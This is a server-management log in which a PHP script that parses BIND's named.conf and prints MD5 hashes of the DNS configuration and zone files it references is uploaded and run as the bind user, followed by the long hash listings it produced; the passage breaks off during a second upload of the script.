MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:51:40: Establishing a connection
2026-05-06 10:51:40: 

PUT: /tmp/pkp356771

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:51:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp356771; rm /tmp/pkp356771'

2026-05-06 10:51:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:51:46: Establishing a connection
2026-05-06 10:51:46: 

PUT: /tmp/pkp558534

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
